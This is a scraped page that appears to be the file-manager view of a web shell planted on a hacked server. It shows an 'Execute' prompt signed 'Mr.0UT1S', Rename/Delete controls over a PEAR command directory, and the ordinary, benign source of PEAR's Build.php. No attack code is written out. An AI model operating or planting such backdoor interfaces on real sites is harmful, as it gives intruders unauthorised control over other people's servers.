opt
/
alt
/
php72
/
usr
/
share
/
pear
/
PEAR
/
Command
/
Go to Home Directory
+
Upload
Create File
root@0UT1S:~$
Execute
By Order of Mr.0UT1S
[DIR] ..
N/A
Auth.php
2.51 KB
Rename
Delete
Auth.xml
1.20 KB
Rename
Delete
Build.php
2.58 KB
Rename
Delete
Build.xml
388 bytes
Rename
Delete
Channels.php
32.66 KB
Rename
Delete
Channels.xml
4.12 KB
Rename
Delete
Common.php
8.02 KB
Rename
Delete
Config.php
15.10 KB
Rename
Delete
Config.xml
3.30 KB
Rename
Delete
Install.php
49.81 KB
Rename
Delete
Install.xml
8.49 KB
Rename
Delete
Mirror.php
4.40 KB
Rename
Delete
Mirror.xml
617 bytes
Rename
Delete
Package.php
39.21 KB
Rename
Delete
Package.xml
7.05 KB
Rename
Delete
Pickle.php
15.52 KB
Rename
Delete
Pickle.xml
1.15 KB
Rename
Delete
Registry.php
45.20 KB
Rename
Delete
Registry.xml
1.75 KB
Rename
Delete
Remote.php
29.28 KB
Rename
Delete
Remote.xml
3.23 KB
Rename
Delete
Test.php
11.85 KB
Rename
Delete
Test.xml
1.60 KB
Rename
Delete
<?php /** * PEAR_Command_Auth (build command) * * PHP versions 4 and 5 * * @category pear * @package PEAR * @author Stig Bakken <ssb@php.net> * @author Tomas V.V.Cox <cox@idecnet.com> * @author Greg Beaver <cellog@php.net> * @copyright 1997-2009 The Authors * @license http://opensource.org/licenses/bsd-license.php New BSD License * @link http://pear.php.net/package/PEAR * @since File available since Release 0.1 */ /** * base class */ require_once 'PEAR/Command/Common.php'; /** * PEAR commands for building extensions. * * @category pear * @package PEAR * @author Stig Bakken <ssb@php.net> * @author Tomas V.V.Cox <cox@idecnet.com> * @author Greg Beaver <cellog@php.net> * @copyright 1997-2009 The Authors * @license http://opensource.org/licenses/bsd-license.php New BSD License * @version Release: 1.10.16 * @link http://pear.php.net/package/PEAR * @since Class available since Release 0.1 */ class PEAR_Command_Build extends PEAR_Command_Common { var $commands = array( 'build' => array( 'summary' => 'Build an Extension From C Source', 'function' => 'doBuild', 'shortcut' => 'b', 'options' => array( 'configureoptions' => array( 'shortopt' => 'D', 'arg' => 'OPTION1=VALUE[ OPTION2=VALUE]', 'doc' => 'space-delimited list of configure options', ), ), 'doc' => '[package.xml] Builds one or more extensions contained in a package.' ), ); /** * PEAR_Command_Build constructor. * * @access public */ function __construct(&$ui, &$config) { parent::__construct($ui, $config); } function doBuild($command, $options, $params) { require_once 'PEAR/Builder.php'; if (sizeof($params) < 1) { $params[0] = 'package.xml'; } $configureoptions = empty($options['configureoptions']) ? '' : $options['configureoptions']; $builder = new PEAR_Builder($configureoptions, $this->ui); $this->debug = $this->config->get('verbose'); $err = $builder->build($params[0], array(&$this, 'buildCallback')); if (PEAR::isError($err)) { return $err; } return true; } function buildCallback($what, $data) { if (($what == 'cmdoutput' && $this->debug > 1) || ($what == 'output' && $this->debug > 0)) { $this->ui->outputData(rtrim($data), 'build'); } } }
Save